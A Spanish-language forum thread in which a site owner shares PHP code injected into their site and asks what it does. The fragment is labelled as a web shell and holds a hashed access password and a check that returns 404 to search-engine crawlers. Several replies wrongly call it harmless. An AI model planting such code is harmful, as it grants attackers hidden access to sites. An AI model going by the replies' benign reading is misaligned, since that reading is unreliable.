Me intentaron Hackear con este codigo

[juanjoseab]

Fijense que me intentaron Hackear... y a un archivo critico le injectaron este codigo... la verdad es que no lograron mayor cosas porque el php se murio, ahora tengo la duda sobre que intentaban hacer... alguien tiene alguna idea

Este es el codigo que injectaron:

Código PHP:

  <?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
 
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
%   

[pateketrueke]

Ese código no hace nada malo...

Nada de nada, de nada, nadita, ¡nada!

Bueno lo único que hace es verificar que el UA no sea un robot/crawler, y en caso de ser envía el estado HTTP 404.

[zerokilled]

buenas,
aparentemente el intento era indicarle a los buscadores que dicho documento no existe. probablemente para quitarle posicion en los buscadores.

[juanjoseab]

Gracias pateketrueke, la verdad no entendia porque estaba haciendo eso, pero igual tenia que preguntar...

Buena onda rey.

[Sourcegeek]

De hecho el código hace justo lo que dijo Zerokilled....
Se creó un array con los agentes de los buscadores más comúnes (como por ejemplo Google).. De ahí compara el agente del que visita la página con los del array... Si son iguales, redirecciona a un error 404 (documento inexistente). Con esto, el buscador toma el archivo como inexistente y no lo indexa..
Qué se logra con esto? Que no aparezca en los buscadores

[gildus]

Holas,

Pero que diferencia habria si lo hacias con .htaccess ?

Saludos
Gildus

[zerokilled]

@gildus, me parece que no comprendistes el asunto. el codigo se lo inyectaron, no fue que el autor queria implementar algo similar.